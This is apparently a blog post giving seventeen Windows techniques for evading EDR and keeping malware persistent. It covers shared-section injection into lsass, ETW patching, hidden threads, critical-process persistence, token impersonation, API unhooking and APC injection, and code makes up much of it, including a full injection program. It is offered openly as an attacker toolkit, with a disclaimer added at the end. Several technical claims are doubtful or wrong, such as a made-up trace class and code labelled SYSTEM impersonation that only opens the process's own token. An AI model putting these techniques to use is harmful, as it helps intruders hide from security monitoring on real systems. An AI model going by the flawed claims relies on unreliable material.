Post

Deep Windows API Manipulation: Cutting-Edge Techniques for EDR Evasion and Stealth

Deep Windows API Manipulation: Cutting-Edge Techniques for EDR Evasion and Stealth

Unleashing Advanced Evasion Techniques in Windows with Low-Level API Manipulation

Introduction

In advanced adversarial operations, bypassing EDRs and security monitoring requires control over system internals that goes well beyond typical API hooking or patching. This article explores advanced techniques using deeply embedded, undocumented Windows functions and layered strategies that allow malware to stay hidden, avoid detection, and gain resilient persistence.

1. Creating and Mapping a Stealthy Memory Section NtCreateSection

NtCreateSection is a powerful kernel-level function that creates a memory-mapped section that multiple processes can share. This is particularly useful for stealthy persistence, as sections can be used to hide code in non-pageable memory regions or even within critical system structures, making them nearly invisible to user-mode detection.

image

Advanced Use Cases for NtCreateSection:

  • Code Injection via Shared Memory Sections: By injecting code into a shared memory section and mapping it into critical system-owned user-mode processes, such as lsass.exe or the System process (PID 4), malicious actors can establish a foothold that’s difficult to detect. This technique does not modify kernel memory directly but hides code in high-privilege, less frequently monitored memory spaces that many EDR solutions overlook.

  • Anti-Forensics with Immutable Sections: Immutable sections created with SEC_IMAGE and SEC_NO_CHANGE can prevent other processes, including security tools, from modifying or unloading them. This creates a degree of immutability around injected code, ensuring persistence by locking down the section from interference and safeguarding it from typical user-mode memory scans.

Code Example: Creating and Mapping a Stealthy Memory Section

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>

#pragma comment(lib, "ntdll.lib")

#ifndef SEC_NO_CHANGE
#define SEC_NO_CHANGE 0x00400000
#endif
#ifndef ViewUnmap
#define ViewUnmap 2
#endif

typedef NTSTATUS(WINAPI* NtCreateSection_t)(
    PHANDLE SectionHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PLARGE_INTEGER MaximumSize,
    ULONG SectionPageProtection,
    ULONG AllocationAttributes,
    HANDLE FileHandle
    );

typedef NTSTATUS(WINAPI* NtMapViewOfSection_t)(
    HANDLE SectionHandle,
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    SIZE_T CommitSize,
    PLARGE_INTEGER SectionOffset,
    PSIZE_T ViewSize,
    DWORD InheritDisposition,
    ULONG AllocationType,
    ULONG Win32Protect
    );

int main() {
    HANDLE hSection = NULL;
    LARGE_INTEGER maxSize;
    maxSize.QuadPart = 0x1000; 

    
    HMODULE hNtdll = LoadLibraryA("ntdll.dll");
    if (!hNtdll) {
        printf("Failed to load ntdll.dll\n");
        return 1;
    }

    NtCreateSection_t NtCreateSection = (NtCreateSection_t)GetProcAddress(hNtdll, "NtCreateSection");
    NtMapViewOfSection_t NtMapViewOfSection = (NtMapViewOfSection_t)GetProcAddress(hNtdll, "NtMapViewOfSection");

    if (!NtCreateSection || !NtMapViewOfSection) {
        printf("Failed to resolve NtCreateSection or NtMapViewOfSection\n");
        FreeLibrary(hNtdll);
        return 1;
    }

    // Create a shared memory section with execute and write permissions
    NTSTATUS status = NtCreateSection(
        &hSection,
        SECTION_MAP_EXECUTE | SECTION_MAP_WRITE,
        NULL,
        &maxSize,
        PAGE_EXECUTE_READWRITE,
        SEC_COMMIT | SEC_NO_CHANGE,
        NULL
    );

    if (status != 0) {
        printf("NtCreateSection failed with status: 0x%X\n", status);
        FreeLibrary(hNtdll);
        return 1;
    }

    // Map the section into the current process's address space
    PVOID baseAddress = NULL;
    SIZE_T viewSize = 0;
    status = NtMapViewOfSection(
        hSection,
        GetCurrentProcess(),
        &baseAddress,
        0,
        0,
        NULL,
        &viewSize,
        ViewUnmap,
        0,
        PAGE_EXECUTE_READWRITE
    );

    if (status != 0) {
        printf("NtMapViewOfSection (self) failed with status: 0x%X\n", status);
        CloseHandle(hSection);
        FreeLibrary(hNtdll);
        return 1;
    }

    // Write a simple payload or message into the shared section
    memset(baseAddress, 0x90, viewSize);

    // Now map this section into the target process (e.g., lsass.exe)
    DWORD targetPid = 4;
    HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
    if (!hTargetProcess) {
        printf("Failed to open target process\n");
        NtUnmapViewOfSection(GetCurrentProcess(), baseAddress);
        CloseHandle(hSection);
        FreeLibrary(hNtdll);
        return 1;
    }

    PVOID remoteBaseAddress = NULL;
    status = NtMapViewOfSection(
        hSection,
        hTargetProcess,
        &remoteBaseAddress,
        0,
        0,
        NULL,
        &viewSize,
        ViewUnmap,
        0,
        PAGE_EXECUTE_READWRITE
    );

    if (status != 0) {
        printf("NtMapViewOfSection (remote) failed with status: 0x%X\n", status);
        CloseHandle(hTargetProcess);
        NtUnmapViewOfSection(GetCurrentProcess(), baseAddress);
        CloseHandle(hSection);
        FreeLibrary(hNtdll);
        return 1;
    }

    printf("Section mapped into target process at address: %p\n", remoteBaseAddress);

    // Cleanup
    NtUnmapViewOfSection(GetCurrentProcess(), baseAddress);
    NtUnmapViewOfSection(hTargetProcess, remoteBaseAddress);
    CloseHandle(hTargetProcess);
    CloseHandle(hSection);
    FreeLibrary(hNtdll);

    return 0;
}

By mapping a section this way, malware can hide payloads in system memory regions where most EDRs won’t look, establishing deep persistence.

2. Advanced ETW and Telemetry Manipulation: Subverting Internal ETW Stacks with EtwSetProviderTraits

Standard ETW evasion involves patching or disabling functions like EtwEventWrite, but advanced tactics can target the ETW provider traits, controlling what gets logged at a configuration level without altering ETW functions directly. EtwSetProviderTraits is an undocumented API that allows for precise control over what an ETW provider reports.

image

Using EtwSetProviderTraits for Granular Event Control

  • Selective Event Blocking: By adjusting provider traits, you can configure which events from a provider are recorded and which are ignored. For example, disabling specific traits for Microsoft-Windows-Security-Auditing can prevent certain security logs from being generated.

  • Trait-Based Fuzzing to Avoid Detection: Changing provider traits at random intervals to inject benign traits temporarily makes event analysis inconsistent, disrupting automated detections.

Code Example: Subverting Provider Traits for Covert ETW Control

1
2
3
4
5
// Modify provider traits to minimize logging
GUID providerGuid = ...; // Target provider's GUID, e.g., Security-Auditing
BYTE traits[] = { 0x00 }; // Minimal logging trait configuration

EtwSetProviderTraits(&providerGuid, traits, sizeof(traits));

Modifying ETW provider traits at this level can reduce logging from specific providers, allowing stealth operations without triggering ETW-based detection tools.

3. Covert Thread Management with NtCreateThreadEx and ThreadExFlags

NtCreateThreadEx is a powerful thread creation function that gives more control than CreateThread, allowing for thread injection in suspended states, hidden entry points, and bypassing standard thread enumeration.

image

Advanced Use Cases for NtCreateThreadEx:

  • Stealthy Thread Injection in Target Processes: By creating threads in a target process in a suspended state and then hiding them from enumeration, malware can deploy payloads undetected, avoiding both user-mode and kernel-mode hooks.

  • ThreadExFlags Manipulation: Setting flags such as THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER and THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH allows threads to operate without typical debugger notifications and attach notifications, bypassing hooks set on DLL_PROCESS_ATTACH.

Code Example: Hidden Thread Creation in a Target Process

1
2
3
4
HANDLE hThread;
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hTargetProcess, (LPTHREAD_START_ROUTINE)payloadAddr, NULL, 
                 THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER | THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH, 
                 NULL, NULL, NULL, NULL);

This approach creates a thread that won’t show up in common enumeration routines, ideal for stealth execution in sensitive processes.

4. Hidden Execution Layers with NtAllocateVirtualMemory and PAGE_WRITECOMBINE

NtAllocateVirtualMemory is typically used for memory allocation, but combining it with specific memory protection flags, such as PAGE_WRITECOMBINE, allows malware to allocate hidden memory regions with non-standard properties. This can be further obscured by embedding code into sparse regions of virtual memory.

image

Advanced Use Cases with PAGE_WRITECOMBINE and Sparse Memory:

  • Sparse Memory Code Insertion: By allocating memory with PAGE_WRITECOMBINE or PAGE_NOACCESS, you can create sparse memory regions that don’t trigger common memory inspection tools. Injected code hidden in non-contiguous memory addresses evades sequential memory scans.

  • Executable Combine Pages for Covert Shellcode: PAGE_WRITECOMBINE combined with executable permissions enables optimized code execution in fragmented memory, bypassing most executable memory inspections that assume standard permissions like PAGE_EXECUTE_READWRITE.

Code Example: Sparse Memory Allocation with Hidden Shellcode

1
2
3
4
5
6
PVOID baseAddr = NULL;
SIZE_T regionSize = 0x1000; // 4 KB region with sparse structure

NtAllocateVirtualMemory(GetCurrentProcess(), &baseAddr, 0, &regionSize, MEM_RESERVE | MEM_COMMIT, PAGE_WRITECOMBINE);

memcpy(baseAddr + 0x500, shellcode, sizeof(shellcode)); // Hide shellcode in sparse region

Sparse memory allocation with unconventional permissions makes traditional memory forensics less effective.

5. Leveraging RtlSetProcessIsCritical for Persistent, System-Resilient Processes

Marking processes as critical with RtlSetProcessIsCritical provides persistence by locking the process against termination attempts from both user-mode and kernel-mode operations. This technique prevents system tampering by setting specific processes as irremovable, only terminating if explicitly removed by an administrator or by crashing the system.

image

Advanced Use Cases with Critical Processes:

  • Multi-Stage Persistence: By spawning multiple child processes with RtlSetProcessIsCritical, malware can set up a process hierarchy where terminating one process forces the others to reinitialize, creating a resilient persistence model.

  • Protection Against EDRs and Kill Signals: Processes marked as critical can’t be killed by typical EDRs. Instead, they either fail to terminate the process or trigger a system crash, avoiding most automated containment mechanisms.

Code Example: Persistent Process Setup with Critical Flag

1
2
HANDLE hProcess = GetCurrentProcess();
RtlSetProcessIsCritical(TRUE, &hProcess, FALSE); // Set process as critical, preventing termination

By combining critical processes with stealth tactics, malware gains a robust persistence mechanism.

6. Memory Hook and Trace Blocking via NtTraceControl and TraceProcessMemory

NtTraceControl is a powerful function for managing trace sessions, and combined with undocumented tracing classes, it allows control over memory tracing and can selectively block trace access to specific memory regions.

Advanced Use Cases with NtTraceControl:

  • Process-Level Memory Hook Blocking: By blocking specific trace classes, malware can evade monitoring solutions that trace specific memory regions (e.g., process heaps).

image

  • Dynamic Trace Evasion for Anti-Analysis: Adjusting memory traces on-the-fly based on sandbox indicators prevents static analysis and makes it difficult for memory-based forensic tools to track malware activity in real-time.

Code Example: Trace Blocking for Memory Regions

1
2
3
4
TRACE_CONTROL_INFORMATION traceControlInfo;
traceControlInfo.ControlCode = TRACE_CONTROL_DISABLE_TRACING;
traceControlInfo.TargetPID = GetCurrentProcessId();
NtTraceControl(TraceProcessMemory, &traceControlInfo, sizeof(traceControlInfo), NULL, 0);

Memory trace blocking directly undermines tools that rely on continuous memory introspection, effectively cloaking malware actions.

7. Token Manipulation with NtOpenProcessTokenEx and NtDuplicateToken

Manipulating access tokens of high-privilege processes (like SYSTEM) allows malware to execute with elevated permissions without triggering typical privilege escalation alerts. NtOpenProcessTokenEx and NtDuplicateToken can clone and reuse privileged tokens stealthily.

image

Advanced Use Cases for Token Manipulation:

  • Privilege Escalation without Elevation: Hijack high-privilege tokens and apply them to malicious processes to bypass User Account Control (UAC) and EDR checks.

  • Impersonation of Trusted Processes: Clone and apply tokens from trusted processes like lsass.exe for stealthy actions under a trusted process context.

Code Example: SYSTEM Token Impersonation

1
2
3
HANDLE hToken;
NtOpenProcessTokenEx(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_IMPERSONATE, &hToken);
SetThreadToken(NULL, hToken);

By hijacking and impersonating high-privilege tokens, malware can evade security checks tied to process privileges.

8. Process Injection with NtMapViewOfSection in Suspended State

NtMapViewOfSection allows mapping memory across process boundaries, providing a stealthy way to inject code. Injecting in suspended state helps prevent detection, allowing code to run without immediately executing.

image

Advanced Use Cases for Suspended Injection:

  • Silent Memory Injection: Map sections into target processes without executing code, avoiding thread-based monitoring and immediate scans.

  • Delayed Execution in Target Process: Run injected code only when specific conditions are met, reducing visibility.

Code Example: Mapping Hidden Section into Target Process

1
2
HANDLE hSection;
NtMapViewOfSection(hSection, hTargetProcess, &baseAddress, 0, 0, NULL, &viewSize, ViewShare, 0, PAGE_EXECUTE_READWRITE);

This approach maps memory invisibly, bypassing user-mode API hooks typically monitored by EDRs.

9. Heap Hiding with RtlCreateHeap and Custom Flags

RtlCreateHeap can create hidden memory regions within processes, avoiding common heap scanning tools. Setting custom flags can hide code in private heaps that are rarely inspected.

image

Advanced Use Cases for Hidden Heaps:

  • Isolated Code Storage: Store payloads in private heaps that standard user-mode heap inspections don’t target.

  • Heap-based Anti-Forensics: Cause controlled corruption in specific environments (e.g., in sandboxed debugging) by creating heaps with specific flags that resist inspection.

Code Example: Creating a Private Heap

1
2
PVOID hHeap = RtlCreateHeap(HEAP_CREATE_ALIGN_16 | HEAP_GENERATE_EXCEPTIONS, NULL, 0, 0, NULL, NULL);
RtlAllocateHeap(hHeap, 0, payloadSize);

This makes the payload hard to find, as it’s isolated from the standard heap structure.

10. ETW Patching with EtwEventWrite

Many security tools use Event Tracing for Windows (ETW) to monitor system events. By directly patching or disabling EtwEventWrite, malware can prevent events from being logged without altering ETW providers.

image

Advanced Use Cases for ETW Patching:

  • Silencing Specific Logs: Patch EtwEventWrite to ignore critical events, especially in high-sensitivity areas like security audits.

  • Anti-Forensics in Real-Time Logging: Disrupt logging in real-time without disabling ETW, minimizing footprints during execution.

Code Example: Disabling EtwEventWrite

1
2
BYTE patch[] = { 0xC3 }; // `RET` instruction to disable function
memcpy(EtwEventWrite, patch, sizeof(patch));

This approach prevents ETW from recording specific events, eliminating a primary source of EDR data.

11. Registry Manipulation with NtSetValueKey

NtSetValueKey allows malware to manipulate registry keys directly, avoiding higher-level registry APIs that EDRs often monitor. This helps establish persistence or disable security policies without detection.

image

Advanced Use Cases for Registry Persistence:

  • Stealthy Persistence Keys: Modify Run or RunOnce registry entries to add persistence without flagging common monitoring tools.

  • Disabling Security Policies: Modify security-related registry keys like disabling Windows Defender through direct registry writes.

Code Example: Setting a Persistence Key

1
2
HKEY hKey;
NtSetValueKey(hKey, &keyName, 0, REG_SZ, payloadPath, pathSize);

By writing directly to the registry, malware can bypass user-mode registry monitoring hooks.

12. Hook Obfuscation with NtProtectVirtualMemory

Using NtProtectVirtualMemory, malware can unhook functions in protected DLLs by modifying their memory protections and overwriting hooks set by EDRs.

image

Advanced Use Cases for Hook Evasion:

  • Unhooking API Functions: Restore the original code of critical functions like NtOpenProcess to prevent EDR monitoring.

  • Self-Protection Against Memory Tampering: Use this to protect regions of memory, blocking attempts to re-hook.

Code Example: Unhooking Function

1
2
3
NtProtectVirtualMemory(hProcess, &apiAddr, &regionSize, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(apiAddr, originalBytes, sizeof(originalBytes));
NtProtectVirtualMemory(hProcess, &apiAddr, &regionSize, oldProtect, &oldProtect);

This prevents the EDR from capturing API calls, allowing stealthy execution.

13. DeviceIoControl-Based Payload Execution

Certain drivers expose functionality through DeviceIoControl, allowing malware to execute payloads in a lower-level context without creating threads or direct kernel interactions.

image

Advanced Use Cases with DeviceIoControl:

  • Privileged Execution via Third-Party Drivers: Exploit less-secure drivers to perform privileged actions without full kernel access.

  • Indirect Code Execution in Kernel Context: Use drivers to run code indirectly, evading process-based detection.

Code Example: Sending Payload via IOCTL

1
DeviceIoControl(hDevice, IOCTL_CODE, inputBuffer, sizeof(inputBuffer), outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL);

This leverages low-level drivers to perform actions that bypass common process monitoring.

14. Fileless Execution Using NtAllocateVirtualMemory

Using NtAllocateVirtualMemory to create executable, memory-only regions helps achieve fileless execution, which evades signature-based detection and anti-virus.

image

Advanced Use Cases for Fileless Malware:

  • Stealthy Payload Execution in Memory: Allocate memory and execute without writing to disk, leaving no file artifacts.

  • Self-Modifying Code in Memory: Load self-contained, mutable payloads that adapt dynamically, bypassing static analysis.

Code Example: Memory Allocation for Fileless Payload

1
2
NtAllocateVirtualMemory(GetCurrentProcess(), &baseAddr, 0, &regionSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(baseAddr, payload, payloadSize);

By avoiding disk usage, this technique greatly reduces the forensic footprint.

15. Anti-Debugging with NtSetInformationThread and ThreadHideFromDebugger

Setting ThreadHideFromDebugger on specific threads prevents them from being inspected by debuggers, frustrating analysis and hindering EDRs that rely on debugging techniques.

image

Advanced Use Cases for Anti-Debugging:

  • Invisible Threads for Payload Execution: Run critical code in hidden threads that are difficult to detect and enumerate.

  • Protection Against Analysis: Disrupt memory-based debugging, making analysis impractical.

Code Example: Hiding Threads

1
NtSetInformationThread(hThread, ThreadHideFromDebugger, NULL, 0);

Hidden threads evade monitoring from tools that rely on debugging hooks.

16. Named Pipe Impersonation with ImpersonateNamedPipeClient

Using ImpersonateNamedPipeClient can allow malware to impersonate clients connected to a named pipe, gaining access to higher-privilege tokens in certain scenarios.

image

Advanced Use Cases for Impersonation:

  • Privilege Escalation via Trusted Pipes: Impersonate clients on trusted pipes to elevate permissions.

  • Cross-Process Evasion: Use impersonation to interact with other processes stealthily.

Code Example: Named Pipe Impersonation

1
2
HANDLE hPipe = CreateNamedPipe(...);
ImpersonateNamedPipeClient(hPipe);

This enables indirect access to elevated privileges.

17. Thread Injection with NtQueueApcThread

Using NtQueueApcThread, malware can queue asynchronous procedure calls (APCs) to inject code into another process’s existing threads, avoiding new thread creation.

image

Advanced Use Cases for APC Injection:

  • Silent Injection: Execute code within existing threads of a target process, avoiding thread creation that EDRs monitor.

  • Stealthy Execution Flow: Trigger payloads at specific points by scheduling APCs on benign threads.

Code Example: APC Injection

1
NtQueueApcThread(hThread, (PKNORMAL_ROUTINE)payloadAddr, NULL, NULL, NULL);

APCs allow code to run as part of a legitimate process flow, evading detection.

Conclusion

These advanced techniques, leveraging deep and often undocumented Windows internals, provide a highly effective toolkit for evasion, persistence, and anti-forensics. From hidden memory allocations and kernel-level injection to opaque threading and critical process settings, this article outlines strategies for attackers to bypass monitoring solutions at every level.

These techniques highlight the need for defensive tools to advance in response, particularly in detecting non-traditional memory allocations and hidden kernel-level manipulation. As always, these strategies are for authorized, controlled environments, as unauthorized use is both illegal and unethical.


Disclaimer

The content here is provided strictly for educational and authorized red teaming purposes. Unauthorized use may result in severe legal consequences.

This post is licensed under CC BY 4.0 by the author.